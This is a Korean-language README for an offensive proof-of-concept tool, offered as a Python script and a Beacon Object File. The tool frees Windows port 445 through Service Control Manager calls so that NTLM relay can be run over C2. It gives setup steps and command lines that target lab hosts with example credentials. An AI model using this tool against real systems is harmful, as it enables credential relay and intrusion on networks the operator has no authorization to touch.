
SCM 상호작용을 통해 Windows에서 445/tcp 바인딩을 해제하는 기법의 BOF 및 Python3 구현
Windows에서 드라이버를 로드하거나 LSASS에 모듈을 로드하거나 대상 머신을 재부팅하지 않고 445/tcp를 바인딩 해제하고 다시 바인딩하는 기술입니다. C2를 통해 운영하는 동안 SMB 기반 NTLM 릴레이의 부담을 덜기 위해 구현되었습니다. 이 기술에 대한 기술적 분석은 x33fcon에서 진행된 Relay Your Heart Away: An OPSEC Concious Approach to 445 Takeover 프레젠테이션에서 자세히 논의됩니다.
PoC는 Python과 BOF 형식으로 작성되었습니다. 둘 다 원격 머신을 대상으로 할 때 전송 수단으로 RPC over TCP(ncacn_ip_tcp)를 사용합니다.
전반적인 고려 사항은 관련 블로그 게시물의 Operations Usage 섹션을 참조하세요. 주요 사항은 다음과 같습니다:
srvnet에서 역방향으로 서비스 종속성을 열거하여 추가로 고려해야 할 종속 항목이 있는지 확인할 수 있습니다.ncacn_ip_tcp를 사용하는지 ncacn_np를 사용하는지 반드시 확인하세요. 후자(named pipe)를 사용하는 경우 원격으로 대상과 통신하여 다시 활성화할 수 없습니다.Python 가상 환경을 만들고 pip install로 impacket을 설치합니다.
git clone https://github.com/zyn3rgy/smbtakeover.gitcd smbtakeoverpython3 -m virtualenv venvsource venv/bin/activatepython3 -m pip install impacketpython3 smbtakeover.py -hpython3 smbtakeover.py atlas.lab/josh:[email protected] checkpython3 smbtakeover.py atlas.lab/josh:[email protected] stoppython3 smbtakeover.py atlas.lab/josh:[email protected] startbof_smbtakeover localhost checkbof_smbtakeover 10.0.0.21 stopbof_smbtakeover localhost start